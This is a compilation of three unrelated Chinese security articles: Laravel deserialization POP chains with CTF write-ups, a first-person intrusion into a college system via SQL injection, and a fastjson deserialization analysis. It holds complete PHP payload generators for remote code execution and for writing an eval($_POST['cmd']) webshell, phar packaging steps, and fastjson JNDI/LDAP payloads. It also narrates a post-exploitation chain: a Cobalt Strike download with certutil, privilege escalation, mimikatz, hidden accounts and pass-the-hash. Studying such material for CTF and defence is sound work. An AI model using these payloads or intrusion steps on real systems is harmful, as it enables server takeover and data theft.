链的入口是在laravel5.8\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php
public function __destruct()
{
$this->events->dispatch($this->event);
}
这里的$this->events和$this->event可控,这里把$this->events设为含有dispatch方法的Dispatcher类,我们看到laravel5.8\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php来
public function dispatch($command)
{
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
}
return $this->dispatchNow($command);
}
跟踪进commandShouldBeQueued
protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}
这里要求$command(即传进来的$this->event)要实现ShouldQueue该接口
满足ShouldQueue接口的实现类即可,再跟踪进dispatchToQueue看一下
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);
这里的$this->queueResolver和$connection都是可控的,到这里就可以直接构造payload
rce
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
class BroadcastEvent {
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver){
$this->queueResolver = $queueResolver;
}
}
}
namespace {
$c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
$b = new Illuminate\Bus\Dispatcher('system');
$a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
print(urlencode(serialize($a)));
}
eval执行
到这里已经可以调用任意类的任意方法了,但是call_user_func无法执行eval函数,如果我们的system被ban了的话,就需要继续寻找执行任意命令的函数,我们找到laravel5.8\vendor\mockery\mockery\library\Mockery\Loader\EvalLoader.php
class EvalLoader implements Loader
{
public function load(MockDefinition $definition)
{
if (class_exists($definition->getClassName(), false)) {
return;
}
eval("?>" . $definition->getCode());
}
}
这里有一个eval函数,这里需要绕过eval上面的if语句,否则直接就return了
$definition变量是MockDefinition类,跟进一下
class MockDefinition
{
protected $config;
protected $code;
...
public function getClassName()
{
return $this->config->getName();
}
public function getCode()
{
return $this->code;
}
}
这里$code,$config可控,但是呢$definition->getClassName()需要一个不存在的类,我们找一个类其getName是可控的,然后构造一个不存在的类即可,如下
laravel5.8\vendor\mockery\mockery\library\Mockery\Generator\MockConfiguration.php
class MockConfiguration
{
...
public function getName()
{
return $this->name;
}
...
}
payload如下
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct(MockConfiguration $config)
{
$this->config = $config;
$this->code = '<?php phpinfo();?>';
}
}
}
namespace Mockery\Generator{
class MockConfiguration
{
protected $name = "none class";
}
}
namespace Mockery\Loader{
class EvalLoader
{
public function load(MockDefinition $definition)
{
}
}
}
namespace {
$config = new \Mockery\Generator\MockConfiguration();
$connection = new \Mockery\Generator\MockDefinition($config);
$event = new \Illuminate\Broadcasting\BroadcastEvent($connection);
$queueResolver = array(new \Mockery\Loader\EvalLoader(),"load");
$events = new \Illuminate\Bus\Dispatcher($queueResolver);
$pendingBroadcast = new \Illuminate\Broadcasting\PendingBroadcast($events, $event);
echo urlencode(serialize($pendingBroadcast));
}
利用跳板
如果说靶机禁用了system等函数,我们希望用file_put_contents写shell等双参数的函数呢,这里有一个好的跳板laravel5.8\vendor\phpoption\phpoption\src\PhpOption\LazyOption.php
final class LazyOption extends Option
{
...
public function filter($callable)
{
return $this->option()->filter($callable);
}
...
private function option()
{
if (null === $this->option) {
/** @var mixed */
$option = call_user_func_array($this->callback, $this->arguments);
这里的$this->callback,$this->arguments是可控的,但是注意到option的属性是private,无法直接从我们刚刚的call_user_func直接去调用它,但是有许多类似filter的函数里面有调用option的
这里可以直接构造payload
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
class BroadcastEvent {
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver){
$this->queueResolver = $queueResolver;
}
}
}
namespace PhpOption{
final class LazyOption{
private $callback;
private $arguments;
public function __construct($callback, $arguments)
{
$this->callback = $callback;
$this->arguments = $arguments;
}
}
}
namespace {
$d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['cmd']) ?>"]);
$c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
$b = new Illuminate\Bus\Dispatcher(array($d,"filter"));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
print(urlencode(serialize($a)));
}
链二
入口同样是
public function __destruct()
{
$this->events->dispatch($this->event);
}
这里转换思路,找某个类没有实现dispatch方法却有__call方法,这里就可以直接调用,找到laravel5.8\vendor\laravel\framework\src\Illuminate\Validation\Validator.php
class Validator implements ValidatorContract
{
...
public function __call($method, $parameters)
{
$rule = Str::snake(substr($method, 8));
if (isset($this->extensions[$rule])) {
return $this->callExtension($rule, $parameters);
}
这里的$method是固定的字符串dispatch,传到$rule的时候为空,然后$this->extensions可控
跟踪进callExtension方法
protected function callExtension($rule, $parameters)
{
$callback = $this->extensions[$rule];
if (is_callable($callback)) {
return call_user_func_array($callback, $parameters);
$callback和$parameters可控,于是就可以构造payload了
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Validation{
class Validator{
protected $extensions;
public function __construct($extensions)
{
$this->extensions = $extensions;
}
}
}
namespace{
$b = new Illuminate\Validation\Validator(array(''=>'system'));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 'id');
echo urlencode(serialize($a));
}
这条链在Laravel8里面也是可以用的
利用跳板
和上面一样可以加LazyOption这个跳板
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Validation {
class Validator {
public $extensions;
public function __construct($extensions){
$this->extensions = $extensions;
}
}
}
namespace PhpOption {
class LazyOption {
private $callback;
private $arguments;
public function __construct($callback, $arguments) {
$this->callback = $callback;
$this->arguments = $arguments;
}
}
}
namespace {
$c = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['cmd']) ?>"]);
$b = new Illuminate\Validation\Validator(array(''=>array($c, 'filter')));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 'whoami');
print(urlencode(serialize($a)));
}
Laravel8反序列化POP链
在下面参考链接文章中Laravel8有介绍三条链都很详细,链和上面Laravel5.8也差不太多,就不赘述,然后有一条可以phpnfo的,同样是经典入口类
laravel859\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php
public function __destruct()
{
$this->events->dispatch($this->event);
}
这里的$this->events和$this->event可控
同样这里有两种方法,要不使$this->events为某个拥有dispatch方法的类,我们可以调用这个类的dispatch方法
要不就使$this->events为某个类,并且该类没有实现dispatch方法却有__call方法,那么就可以调用这个__call方法了
看到laravel859\vendor\laravel\framework\src\Illuminate\View\InvokableComponentVariable.php
public function __call($method, $parameters)
{
return $this->__invoke()->{$method}(...$parameters);
}
/**
* Resolve the variable.
*
* @return mixed
*/
public function __invoke()
{
return call_user_func($this->callable);
}
这里的_call会直接调用__invoke,$this->callable也是我们可控的,不过这里只能调用phpinfo,比较鸡肋,payload如下
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\View {
class InvokableComponentVariable {
protected $callable;
public function __construct($callable)
{
$this->callable = $callable;
}
}
}
namespace {
$b = new Illuminate\View\InvokableComponentVariable('phpinfo');
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 1);
print(urlencode(serialize($a)));
}
因为这里我们只能控制$this->callable,想要rce的话,还可以去找无参的方法里面带有call_user_func或者eval然后参数可控之类的,但是这里我找了好像没找到,读者有兴趣可以去试试
CTF题目
lumenserial
lumenserial\routes\web.php先看到路由文件
$router->get('/server/editor', 'EditorController@main');
$router->post('/server/editor', 'EditorController@main');
再看到
lumenserial\app\Http\Controllers\EditorController.php
class EditorController extends Controller
{
private function download($url)
{
...
$content = file_get_contents($url);
发现这里的$url传进file_get_contents可以phar反序列化,然后$url的值来源于doCatchimage 方法中的 $sources 变量
class EditorController extends Controller
{
...
protected function doCatchimage(Request $request)
{
$sources = $request->input($this->config['catcherFieldName']);
$rets = [];
if ($sources) {
foreach ($sources as $url) {
$rets[] = $this->download($url);
}
我们看到main发现他是通过call_user_func来调用带do开头的方法
class EditorController extends Controller
{
...
public function main(Request $request)
{
$action = $request->query('action');
try {
if (is_string($action) && method_exists($this, "do{$action}")) {
return call_user_func([$this, "do{$action}"], $request);
} else {
可以通过如下控制变量
http://ip/server/editor/?action=Catchimage&source[]=phar://xxx.gif
然后在上面的5.8链的基础加上如下
@unlink("test.phar");
$phar = new \Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub
$phar->setMetadata($pendingBroadcast);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
$phar->stopBuffering();
上传phar文件再用phar协议打即可
[HMBCTF 2021]EzLight
给了source.zip源码,是laravel框架开发的lightcms,先在本地把环境搭起来先,主要是修改.env文件改改数据库信息
先看到source\source\app\Http\Controllers\Admin\NEditorController.php
public function catchImage(Request $request)
{
...
$files = array_unique((array) $request->post('file'));
$urls = [];
foreach ($files as $v) {
$image = $this->fetchImageFile($v);
在catchImage函数里面以post传给file参数再给到fetchImageFile的$url
protected function fetchImageFile($url)
{
if (isWebp($data)) {
$image = Image::make(imagecreatefromwebp($url));
$extension = 'webp';
} else {
$image = Image::make($data);
}
这里的$url可控,这里imagecreatefromwebp因为isWebp的限制无法进入,所以这里的分支是进入Image::make($data);来,我们在此处下一个断点,然后分析一下前面的代码,我们需要在vps上放一个图片的链接,然后在http://127.0.0.1:9001/admin/neditor/serve/catchImage传参数即可动态调试了
然后一直跟进就可以发现有个file_get_contents函数
至此结束,这里可以phar反序列化了
用上面的链一即可
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
class BroadcastEvent {
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver){
$this->queueResolver = $queueResolver;
}
}
}
namespace PhpOption{
final class LazyOption{
private $callback;
private $arguments;
public function __construct($callback, $arguments)
{
$this->callback = $callback;
$this->arguments = $arguments;
}
}
}
namespace {
$d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php phpinfo();eval(\$_POST['cmd']);?>"]);
$c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
$b = new Illuminate\Bus\Dispatcher(array($d,"filter"));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
print(urlencode(serialize($a)));
@unlink("test.phar");
$phar = new \Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub
$phar->setMetadata($a);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
$phar->stopBuffering();
rename('test.phar','test.jpg');
}
上传之后,在vps上放
phar://./upload/image/202105/uwQGQ5sBTWRppO3lfHzOpxLkKODMS9NkrYHdobkz.gif
再到/admin/neditor/serve/catchImage用file传参打就可以了
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182016010714511600001 (通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。)
某学院系统sql注入到服务器沦陷(bypss)
前言
前一段时间都在挖edu src,为了混几个证书,中间陆陆续续也挖到好几枚系统的通杀吧,不过资产都不多,都是黑盒测试出来的,没啥技术含量。只有这次挖到的这枚通杀稍微有那么一点点价值,从外网web一步步深入最后服务器提权,拿下整台服务器桌面权限。
本文涉及相关实操:https://www.hetianlab.co/expc.do?ec=ECIDee9320adea6e062017112114390500001 本实验介绍了SQL注入原理,解释了简单判断一个参数是否存在注入的原理,能够利用简单的SQL注入获取其他敏感数据。
1.信息搜集
日常广撒网挖通杀,常规流程,上fofa搜索关键字,xx大学xx系统,xx大学xx平台,一般就是这几个关键词,或者是直接搜body=”xx公司”,xx公司一定要是经常给学校做开发的,往往都是好几所学校用同一家公司的产品。然后就找到了这样一个系统
查了下归属,归属是某某学院,教育资产,通过各种语法,信息搜集,找到大概十多所学校都在用这个系统,因为语法太多了,这里随便搜了搜。
2.四处碰壁
正常的黑盒测试流程,看一下啥语言写的,ASP+IIS,很常规的配置,edu一般除了jsp就是asp了,很少见到php站,iis的站,若后续有文件上传的点,可以测测iis解析漏洞,老版本的iis洞还是挺多的。
既然是asp的站,那就上御剑,先来一顿目录爆破,asp、aspx勾选上,80w的大字典开跑,
一杯茶的功夫,目录爆破完毕,果不其然,啥也没跑出来。
一般这种情况的话,可以换一换要跑目录,因为它整个系统可能架设在一个特定命名的目录下,这里因为时间关系,就没跑了。
既然目录爆破不行,这系统打开就是登录点,那就爆破登陆点试一试,各种用户名都爆破了一遍
还是失败了,一个弱口令都没爆破出来,学号,工号爆破都试过了,没有一个成功的,目前为止,目录爆破,密码爆破都走不通。
Sql注入,post注入,常规操作,果然。。。。又是一片红,必然做了过滤,简单的fuzz了下sql语句饶了绕,还是失败。
各种操作都来了一波,啥也没挖到,在挖edu的这段时间里,经常遇到这种情况,都习惯了。
既然注入也没有,还有过滤,那就测测逻辑漏洞,右下角找回密码,我可太喜欢找回密码了,找回密码处就是逻辑漏洞的高发地点,一打一个准,
点进去是这样一个页面,挺简陋,越是简陋,就越好打,果断输入答案,抓包。
没啥好看的,要是返回包里是json格式的话,那还有得玩。反正我遇上的逻辑漏洞,都是前端验证传回来的json参数,改json实现绕过。
3.柳暗花明(发现sql注入)
Sql注入,爆破,弱口令,逻辑漏洞都试过了,都失败了,正准备放弃的时候,我发现找回密码的时候,他这个系统有个特点,只要你一输入要找回的账户然后再换行,本来它设置问题那一栏是空的,在你输入完账号再换行时,它问题那一栏自动就出现了验证问题。
所以我推断,在用户输入完账号之后换行就触发了一个动作,这个动作会自动将用户输入的账号带入到后台,从后端获取这个账号的问题,然后再显示在前端,必然有数据交互的一个过程,既然有交互,那么这个点也可能存在注入的可能。
想到这里,打开burp,输入完账号之后不换行,切换至burp,抓包,然后再换行,触发动作,果然抓到了一个post包,请求内容正是账号
输入一个单引号,发现报错了,存在注入无疑了,这系统普通的登录点卡的死死的,还是被找到注入了,只不过这个注入的位置太奇葩了,一般人遇上waf就放弃了。
Sqlmap一把梭,发现是mssql,还是dba权限,不用想了,mssql+dba权限=xp_cmdshell,都不用进后台了。--os-shell
4.bypass上线cs并提权
过程就不放图了,简单描述一下,用的是certutil.exe -urlcache -split -f下载cs马,cs马在我的服务器上,刚开始下载文件的时候,报错,whoami一看,数据库权限,只读权限,没有写文件的权限,这可麻烦了
最后解决办法是,把cs马下载到mssqlserver用户的桌面目录下,其他路径没有执行下载的权限,在自己用户的桌面目录从有写文件的权限了吧?执行cs马,cs上线!
虽然拿到了shell,不过这个shell的权限实在太低了,dumphash报错,操作注册表就各种报错,反正啥操作的报错,因为权限太低
如今当务之急就是提权,先执行一下systeminfo、tasklist看看啥情况
Server 2012的机器,补丁实在打的有点多,吓人。Tasklist里也没发现有杀毒软件,估计是云waf
2012的机器内核漏洞算是最多的了,来来回回试了几个MS16-032/016,全打上补丁了,最后一个MS16-075,一把打穿,成功拿下system权限,2012的机器还是好提。
Bypass远程桌面组获取桌面控制权
执行一下netstat -ano发现开了3389端口,net user发现一堆的用户,这里就不放图了,不然篇幅实在太长了,简单的信息搜集之后,开始办正事,目标是桌面控制,上神器Mimikatz,抓一抓明文密码。这里稍微提一下,2021的机器是可以通过改注册表直接获取明文密码的,一抓发现管理员上次是5.3登录的,没抓到密码,只有hash
抓不到明文密码,那就新建用户,net user admin 123456 /add 新建用户,新建了一个admin 密码123456的用户。远程桌面连一下试试。
出现报错:“连接被拒绝,因为没有授权此用户帐户进行远程登录!以为就要成功了,这一个报错就像是当头一棒,找了找原因,是因为我新建的用户没有加入到远程桌面组,所以无法登录,
用net user把admin加入到远程桌面组之后,还是报错,我又修改注册表把防火墙关了,RDP规矩也放行了,无果..我猜可能是修改完配置之后要重启才会生效,我要是重启的话,这台服务器上的这套系统必然会瘫痪,重启是肯定不可取的。
在思想斗争了半天之后,我想到guest用户应该是默认就在远程桌面组的,我只要激活guest用户,那我就可以不重启就连3389了。
激活guest用户成功,密码123456,远程连接一下
一看到这个正在配置远程会话就知道稳了,3389成功上了桌面,guest权限,加了个隐藏账户,并手动加入到远程桌面组
5.RDP劫持失败
我们的目标是administrator的桌面控制权,但是密码抓不到,又不能重置administrator的密码,怎么拿下它的桌面?
这里我用了RDP劫持,上传一个psexec工具,然后获取一个system权限的cmd,因为只有system权限的命令行才能进行接管会话
首先query user查看会话ID(这里的图是我写文章的时候截的,所以登录时间是6-1)
然后再在system权限的命令行中执行tscon 2,发现失败,因为上次登录的时间已经超过三天了,凭证过期,无法劫持会话
6.PTH攻击实现利用hash登录
最后通过pth攻击 hash传递攻击拿下了administrator的桌面权限,具体如下
mimikatz命令:
执行后弹出远程登录界面,选择连接,成功实现无密码登录administrator
桌面长这样,mssql数据库管理页面还没退出
结尾
梳理一下过程:1.从外网信息搜集—2.到发现sql注入—3.到绕过权限上马—4.再到低权限提权—5.最后通过pth实现无密码登录administrator桌面,整个过程没有什么技术含量,都是很基本的操作,但是能学到很多,求各位大师傅轻喷,我觉得从发现问题到解决问题是一个很享受的过程,还有,最后拿到了程序的源码,审计后又发现了一处注入和未授权进后台,因为篇幅问题就不说了,漏洞已经打包提交至平台,最后,网安学习这条路任重道远,希望自己能走下去,少一点花里胡哨,踏踏实实学东西才是最重要的,不能觉得自己学了点皮毛就四处炫耀,保持适当的谦卑
java安全之fastjson链分析
前段时间有师傅来问了我fastjson的问题,虽然知道大概但没分析过具体链,最近有空了正好分析一下fastjson两个反序列化洞:
1.2.22<=version<=1.2.24
1.2.25<=version<=1.2.47
简述与使用
Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID49a7-7e01-41dd-9edd-c051743c427f (fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。)
项目地址:https://github.com/alibaba/fastjson
环境直接maven:
<dependencies>
....
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.22</version>
</dependency>
</dependencies>
首先是关于fastjson的序列化与反序列化过程中会调用到类的get跟set方法,一个自建类:
package org.example;
public class JsonTest {
private int _id;
private String _name;
private String _passwd;
public JsonTest(int _id, String _name, String _passwd) {
this._id = _id;
this._name = _name;
this._passwd = _passwd;
}
public JsonTest() {
}
public int get_id() {
System.out.println("get "+_id);
return _id;
}
public void set_id(int _id) {
System.out.println("set "+_id);
this._id = _id;
}
public String get_name() {
System.out.println("get "+_name);
return _name;
}
public void set_name(String _name) {
System.out.println("set "+_name);
this._name = _name;
}
public String get_passwd() {
System.out.println("get "+_passwd);
return _passwd;
}
public void set_passwd(String _passwd) {
System.out.println("set "+_passwd);
this._passwd = _passwd;
}
@Override
public String toString() {
return "JsonTest{" +
"_id=" + _id +
", _name='" + _name + '\'' +
", _passwd='" + _passwd + '\'' +
'}';
}
}
Main:
public static void main(String[] args) {
JsonTest jsonTest = new JsonTest(1,"uname","passwd");
System.out.println("[1]================");
String str = JSON.toJSONString(jsonTest);
System.out.println("[2]================");
System.out.println(str);
System.out.println("[3]================");
Object jsonTest1 = JSON.parseObject(str,JsonTest.class);
System.out.println("[4]================");
System.out.println(jsonTest1);
}
运行后得到了如下结果:
[1]================
get 1
get uname
get passwd
[2]================
{"id":1,"name":"uname","passwd":"passwd"}
[3]================
set 1
set uname
set passwd
[4]================
JsonTest{_id=1, _name='uname', _passwd='passwd'}
很明显的在序列化时会调用类中各属性的get方法,而反序列化时会调用其set方法。
在上述反序列化过程中需要多添加一个class类的参数:JsonTest.class
而fastjson也提供了一种无需指定类的方式,称为autotype,而这种autotype正是导致反序列化漏洞的原因。
给序列化过程的函数指定第二个参数:
JSON.toJSONString(jsonTest,SerializerFeature.WriteClassName);
此时能够得到一个指定了type的json串:
{"@type":"org.example.JsonTest","id":1,"name":"uname","passwd":"passwd"}
再对其反序列化时就无需再指定对应的类了:
Object jsonTest1 = JSON.parseObject(str);
System.out.println(jsonTest1);
当未对@type字段进行完全的安全性验证,攻击者可以传入危险类,从而调用危险类对目标机进行攻击,接下来分析一下其过程。
反序列化过程
先在JSON.parseObject处下个断点,跟入看看fastjson的反序列化过程。
首先进入到JSON.class中:
接着进入parse函数中:
public static Object parse(String text) {
return parse(text, DEFAULT_PARSER_FEATURE);
}
使用了默认的解析方式DEFAULT_PARSER_FEATURE去解析我们的json串,继续跟入:
public static Object parse(String text, int features) {
if (text == null) {
return null;
} else {
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
}
其构造器中有如下:
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase)lexer).token = 14;
} else {
lexer.nextToken();
}
其会根据对应的{或[去设置token,之后通过scanSymbol来获取到@type,并且autotype它还支持如下形式嵌套的串:
[
{
"@type": "xxx.xxx",
"xxx": "xxx"
},
{
"@type": "xxx.xxx",
"xxx": {
"@type": ""
}
},
{
"@type": "xxx"
} : "xx",
{
"@type": "xxx"
} : "xx"
]
其中对于字符串的还有如下对于双字节字符的处理:
\u或\x即是unicode或者16进制,而还有其他的如\v等,有师傅做了https://xz.aliyun.com/t/7107:
\0 \1 \2 \3 \4 \5 \6 \7 \b \t \n \r \" \' \/ \\\
等,java字符串读入之后会变成两个字符,因此,fastjson会把它转换会单个字符
\f \F双字符都会转成单字符\f
\v双字符转成\u000B单字符
\x..四字符16进制数读取转成单字符
\u....六字符16进制数读取转成单字符
这一个点其实可以用在某些filter的绕过上。
继续上面的scan,获取到@type后会继续获取到其类名,最后赋值给typeName,此时会进一步调用TypeUtils.loadClass去加载类:
之后会从mappings中尝试取出class类(mappings中存放的是一些内置类):
如下,取不到后会去使用ClassLoader加载类并且将className和其class类put进mapping中。
接着进行反序列化:
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;
一路跟去会有一个denyList:
这一个list默认情况下只有一个Thread类:
this.denyList = new String[]{"java.lang.Thread"};
最后会去调用到set方法。
1.2.22-1.2.24
这个版本下有两条利用链:JdbcRowSetImpl和Templateslmpl,还有一条BasicDataSource,下面逐一分析。
JdbcRowSetImpl
首先该链有两种利用方式:RMI+JNDI和RMI+LDAP
其中我使用到的是jdk8u66,关于高版本的限制以及绕过方式可以参考:
https://www.freebuf.com/column/207439.html前面说到反序列化会调用到set方法,而漏洞的产生正是因为set方法,直接拿payload打一下:
public static void main(String[] args) {
String payload = "
{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/badClassName\", \"autoCommit\":true}";
JSON.parse(payload);
}
直接在com.sun.rowset.JdbcRowSetImpl#setDataSourceName中下断点:
直接进入到else中直接将datasource设置为我们传入的值,再在setAutoCommit中下个断点:
同样进入else,关键在于这里的connect调用了lookup:
最后就造成了JNDI注入,LDAP同样如此,修改一下协议即可。
Templateslmpl
前面的链就不跟了,体力活,主要是了解其原理,具体可以看看:
https://www.cnblogs.com/afanti/p/10193158.htmlhttps://xz.aliyun.com/t/8979#toc-6payload我参考的是上面第二个链接,此处截取部分方便理解:
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64 str"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
默认的知道以下划线开头是private属性,通过fastjson其实是无法直接赋值的,需要在parse时设置Feature.SupportNonPublicField强制给private属性赋值,因此这条链实际作用不大,不过分析一下锻炼一下代码审计能力。
首先是对于下划线的处理,在JavaBeanDeserializer#smartMatch中会处理掉下划线,之后去调用对应的set方法,bytecodes在最后会进行base64解码,并且bytecode是binary,fastjson中不支持反序列化此类字符串,因此这也是其为base64字符串的原因,而对于_outputProperties这一个属性比较特殊,它调用到的不是set方法而是get方法,因此我着重跟一下它。
因为在调用set方法时都是经过FieldDeserializer#setValue,因此在此处下个断点。
跟到下面调用到了getOutputProperties方法是通过invoke,之后就执行命令了:
但method的来源还需要追究一下。
经过不断debug能够在ParserConfig的createJavaBeanDeserializer检测到sortedFieldDeserializers的变化,而sortedFieldDeserializers正是获取到getOutputProperties的关键:
在createJavaBeanDeserializer中调用了JavaBeanInfo#build,一路debug能够发现获取一个set方法时是通过如下代码:
同样位于build函数下有一段获取getter的代码:
其中OutputProperties的getter就是从这里获取到,不过这还是无法解除关于为什么要获取getter的疑惑,回到前面的FieldDeserializer#setValue,在使用invoke调用getOutputProperties后,得到的是一个Map类,而随后会对map调用putAll:
Map map = (Map)method.invoke(object);
if (map != null) {
map.putAll((Map)value);
}
也就说如果一个json串:
{"@type": "xxx.xxx", "hhhm": {"key": "value"}}
会需要将{"key": "value"}放入hhhm中,因此需要先调用get来获取到这一个map以便于后续的赋值。
跟入getOutputProperties->newTransformer->defineTransletClasses,实例化了bytecodes,然后在:
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
经过一系列调用最后就到了TEMPOC中执行到RCE:
BasicDataSource
省赛遇到的一道题才知道原来还有这条链,先mark下:
http://blog.nsfocus.net/fastjson-basicdatasource-attack-chain-0521/该链只能用于Fastjson 1.2.24及更低版本,使用范围相较于前两条链而言较小,链接处文章写的也很详细,不做过多叙述。
1.2.25-1.2.45部分绕过
直接拿着原来的链打会发现报错,发现多了一个ParserConfig.checkAutoType方法,在1.2.25中对DefaultJSONParser#parseObject中的TypeUtils.loadClass进行了修复:
//1.2.24
Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
//1.2.25
Class<?> clazz = config.checkAutoType(typeName);
autoTypeSupport默认修改为false:
需要通过如下方式开启:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
并且有一个denylist,来过滤掉前面用到的链中的类:
部分手动开启autoType的绕过链就不分析了,绕过的点也比较容易看出,具体看https://xz.aliyun.com/t/9052
这部分绕过个人感觉适用于ctf中,不做分析了,下面贴一下payload。
1.2.25-1.2.41
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
1.2.25-1.2.42
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
1.2.25-1.2.43
{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
1.2.25-1.2.45
需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本
payload:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/badNameClass"}}
1.2.25-1.2.47
这条链是通杀的,比较厉害的是其不需要开启AutoTypeSupport,相对于上面提到的绕过而言利用面广泛的多,因此着重分析一下。
该链在<1.2.32之前,如果开启了AutoTypeSupport则无法利用,在>1.2.32后五轮是否开启都可以利用。
payload:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Exploit",
"autoCommit": true
}
}
前面提到在checkAutoType中有这么一个if:
if (this.autoTypeSupport || expectClass != null)
因为autoTypeSupport默认为false,所以if内的代码都跳过了,而这条链的利用也无需这一个if,跟到后面:
这里的deserializers.findClass比较关键:
此处的this.buckets会发现其内置了很多的类,如:
那么问题也就是出在这里,我们目前传入的类是java.lang.class,而该类正处于这一个buckets中,而deserializers中有一个put方法,正是这一个方法将类放入白名单中从而避过了autotype的限制。
偏一下话题,稍微往前追溯一点能够找到如下一个初始化deserializers对象的方法:
白名单中的类都在此处。
比较好奇的是此处的class类的作用,在对class类进行反序列化时,其调用链如下:
deserializer#deserialze
->
TypeUtils#loadClass(strVal,parser.getConfig().getDefaultClassLoader())
//strVal=com.sun.rowset.JdbcRowSetImpl
->
TypeUtils#loadClass(className, classLoader, true)
//className=com.sun.rowset.JdbcRowSetImpl
此处的TypeUtils#loadClass在前面分析1.2.22-1.2.24链中提到过,其会尝试从mappings中取出类:
Class<?> clazz = (Class)mappings.get(className);
在取不到时会调用类加载器去加载类,此时就取到了com.sun.rowset.JdbcRowSetImpl。
